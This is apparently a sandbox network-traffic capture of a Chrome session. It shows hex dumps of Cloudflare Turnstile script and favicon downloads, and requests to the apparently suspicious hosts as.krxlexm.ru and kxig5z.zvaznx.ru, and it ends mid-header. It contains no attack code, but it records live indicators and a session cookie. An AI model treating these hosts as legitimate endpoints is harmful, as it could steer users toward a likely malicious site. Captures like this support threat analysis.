2025-03-07 09:14:27 UTC	1369	IN	Data Raw: 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c Data Ascii: [39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49751	104.18.95.41	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 09:14:28 UTC	383	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-07 09:14:29 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 09:14:29 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 91c8fb9cb94422ed-ORD alt-svc: h3=":443"; ma=86400
2025-03-07 09:14:29 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-07 09:14:29 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 61 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 6c 3d 21 31 2c 76 2c 68 3b 74 72 79 7b 66 6f 72 28 61 3d 61 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 76 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 76 2e 76 61 6c 75 65 29 2c 21 28 74 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 74 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function Bt(e,t){var a=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(a!=null){var o=[],c=!0,l=!1,v,h;try{for(a=a.call(e);!(c=(v=a.next()).done)&&(o.push(v.value),!(t&&o.length===t));c=!0)
2025-03-07 09:14:29 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 76 26 26 28 76 3d 30 2c 70 5b 30 5d 26 26 28 61 3d 30 29 29 2c 61 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 6c 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 6c 3d 63 2e 72 65 74 75 72 6e 29 26 26 6c 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 6c 3d 6c 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 6c 3b 73 77 69 74 63 68 28 63 3d 30 2c 6c 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 6c 2e 76 61 6c Data Ascii: ])}}function s(p){if(o)throw new TypeError("Generator is already executing.");for(;v&&(v=0,p[0]&&(a=0)),a;)try{if(o=1,c&&(l=p[0]&2?c.return:p[0]?c.throw\|\|((l=c.return)&&l.call(c),0):c.next)&&!(l=l.call(c,p[1])).done)return l;switch(c=0,l&&(p=[p[0]&2,l.val
2025-03-07 09:14:29 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 6a 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 2c 65 2e 4c 69 67 68 74 3d 22 6c 69 67 68 74 22 2c 65 2e 44 61 72 6b 3d 22 64 61 72 6b 22 7d 29 28 6a 65 7c 7c 28 6a 65 3d 7b 7d 29 29 3b 76 61 72 20 43 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 65 72 69 66 79 69 6e 67 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 65 72 69 66 79 69 6e 67 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 65 72 69 66 79 69 6e 67 4f 76 65 72 72 75 6e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 61 69 6c 75 72 65 57 6f 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 3d 22 66 61 69 6c 75 72 65 2d 77 6f Data Ascii: );var je;(function(e){e.Auto="auto",e.Light="light",e.Dark="dark"})(je\|\|(je={}));var Ce;(function(e){e.Verifying="verifying",e.VerifyingHavingTroubles="verifying-having-troubles",e.VerifyingOverrun="verifying-overrun",e.FailureWoHavingTroubles="failure-wo
2025-03-07 09:14:29 UTC	1369	IN	Data Raw: 78 65 63 75 74 65 22 2c 65 2e 41 75 74 6f 45 78 70 69 72 65 3d 22 61 75 74 6f 5f 65 78 70 69 72 65 22 2c 65 2e 41 75 74 6f 54 69 6d 65 6f 75 74 3d 22 61 75 74 6f 5f 74 69 6d 65 6f 75 74 22 2c 65 2e 4d 61 6e 75 61 6c 52 65 66 72 65 73 68 3d 22 6d 61 6e 75 61 6c 5f 72 65 66 72 65 73 68 22 2c 65 2e 41 70 69 3d 22 61 70 69 22 2c 65 2e 43 68 65 63 6b 44 65 6c 61 79 73 3d 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 2c 65 2e 54 69 6d 65 43 68 65 63 6b 43 61 63 68 65 64 57 61 72 6e 69 6e 67 41 75 78 3d 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 5f 61 75 78 22 2c 65 2e 4a 73 43 6f 6f 6b 69 65 73 4d 69 73 73 69 6e 67 41 75 78 3d 22 6a 73 5f 63 6f 6f 6b 69 65 73 5f 6d 69 73 73 69 6e 67 5f 61 75 78 22 2c 65 2e 52 65 64 69 72 65 63 74 Data Ascii: xecute",e.AutoExpire="auto_expire",e.AutoTimeout="auto_timeout",e.ManualRefresh="manual_refresh",e.Api="api",e.CheckDelays="check_delays",e.TimeCheckCachedWarningAux="time_check_cached_warning_aux",e.JsCookiesMissingAux="js_cookies_missing_aux",e.Redirect
2025-03-07 09:14:29 UTC	1369	IN	Data Raw: 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 74 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 4c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 74 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 Data Ascii: rams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&t.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearanceLevel!=="default"&&t.set("clearance_level",e.params._debugS
2025-03-07 09:14:29 UTC	1369	IN	Data Raw: 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 5f 29 7d 76 61 72 20 53 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 61 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 43 65 2e 46 61 69 6c 75 72 65 46 65 65 64 62 61 63 6b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 43 65 2e 46 61 69 6c 75 72 65 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 2c 6c 2c 76 3d 4c 28 4d 72 2c 28 6c 3d 28 74 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 74 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c Data Ascii: language,"/").concat(_)}var St=function(e){var t,a,o=window.innerWidth<400,c=e.state===Ce.FailureFeedback\|\|e.state===Ce.FailureHavingTroubles,l,v=L(Mr,(l=(t=e.displayLanguage)===null\|\|t===void 0?void 0:t.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),
2025-03-07 09:14:29 UTC	1369	IN	Data Raw: 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 4f 65 28 65 2c 74 2c 61 29 7b 72 65 74 75 72 6e 20 42 65 28 29 3f 4f 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 4f 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 76 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 6c 29 3b 76 61 72 20 73 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 73 3b 72 65 74 75 72 6e 20 76 26 26 74 65 28 70 2c 76 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 4f 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 Data Ascii: l(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Oe(e,t,a){return Be()?Oe=Reflect.construct:Oe=function(c,l,v){var h=[null];h.push.apply(h,l);var s=Function.bind.apply(c,h),p=new s;return v&&te(p,v.prototype),p},Oe.apply(null,a
2025-03-07 09:14:29 UTC	1369	IN	Data Raw: 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 67 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 66 72 28 61 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 58 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 71 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 71 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 24 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 71 65 29 2e 63 6f 6e 63 61 74 Data Ascii: r));function g(e,t){var a="[Cloudflare Turnstile] ".concat(e,".");throw new fr(a,t)}function x(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function Xe(e){return e.startsWith(qe)?e.substring(qe.length):null}function $(e){return"".concat(qe).concat
2025-03-07 09:14:29 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 73 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 73 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 73 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 73 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 Data Ascii: height="100vh",s.style.top="0",s.style.left="0",s.style.transformOrigin="center center",s.style.overflowX="hidden",s.style.overflowY="auto",s.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49753	104.16.6.189	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 09:14:29 UTC	593	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://as.krxlexm.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-07 09:14:30 UTC	718	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 09:14:29 GMT Content-Type: image/png Content-Length: 937 Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=JRlgc62_tJ.Nd8rD9_DaQRlXBzHmsDcKqwTl8w2fPvM-1741338869-1.0.1.1-KMN_NORD8816j2nCDM0fg.LkXp8vggltP_2KET.krWsk4ww6Wpbzo6_WtWtZ.WynqdxwS6sZwTygsRMHC4W_NzhNspl7TSNm19.PrtPZZWw; path=/; expires=Fri, 07-Mar-25 09:44:29 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 91c8fb9f7a2b8127-ORD alt-svc: h3=":443"; ma=86400
2025-03-07 09:14:30 UTC	651	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-07 09:14:30 UTC	286	IN	Data Raw: ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d fe 77 23 bf 7e 8b c6 3c bd c1 67 0f 56 7a 91 a9 c6 c8 6f 40 1a 65 Data Ascii: 9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=w#~<gVzo@e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49759	104.16.4.189	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 09:14:32 UTC	548	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=JRlgc62_tJ.Nd8rD9_DaQRlXBzHmsDcKqwTl8w2fPvM-1741338869-1.0.1.1-KMN_NORD8816j2nCDM0fg.LkXp8vggltP_2KET.krWsk4ww6Wpbzo6_WtWtZ.WynqdxwS6sZwTygsRMHC4W_NzhNspl7TSNm19.PrtPZZWw
2025-03-07 09:14:32 UTC	413	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 09:14:32 GMT Content-Type: image/png Content-Length: 937 Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 91c8fbb219f0e1a9-ORD alt-svc: h3=":443"; ma=86400
2025-03-07 09:14:32 UTC	937	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49788	104.21.16.1	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 09:16:37 UTC	554	OUT	GET /kella$c0ez7sqh HTTP/1.1 Host: kxig5z.zvaznx.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://as.krxlexm.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://as.krxlexm.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-07 09:16:38 UTC	829	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 09:16:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AkiDLC2UZCRxn6dXLl7S8FA3MIxUeQ75lG7vDzfsP4FtUWgbMy5fU2ujg6Nq%2Fyjm793ZhbnAY%2BtCFHqe%2Fz%2Bd2cy7sDVVbBLvLRt8SLcdPiaVCw%2BYgwmt8Gz5%2BCmZ%2FQmO9Cvh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91c8febd2ad461a6-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=37147&min_rtt=32210&rtt_var=14884&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1132&delivery_rate=82762&cwnd=138&unsent_bytes=0&cid=0890eb440f1757ea&ts=1451&x=0"
2025-03-07 09:16:38 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-03-07 09:16:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49789	104.21.32.1	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 09:16:41 UTC	354	OUT	GET /kella$c0ez7sqh HTTP/1.1 Host: kxig5z.zvaznx.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-07 09:16:42 UTC	824	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 09:16:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6X7P6X6qFn03jnxwiHAJA%2Bu0rJS4AlMF3k3Sg3le2LWFkKOOzMmaVifefRid71%2BzyjO3sEu1fcUZKr2Vh%2FGK2o8aOhBTHcomKvKr5rLj%2F5IBx9RZOKDgnshIEK8EAr8VWENf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91c8fed8eac12243-ORD alt-svc: h3=":443"; ma=86400 server-timing: 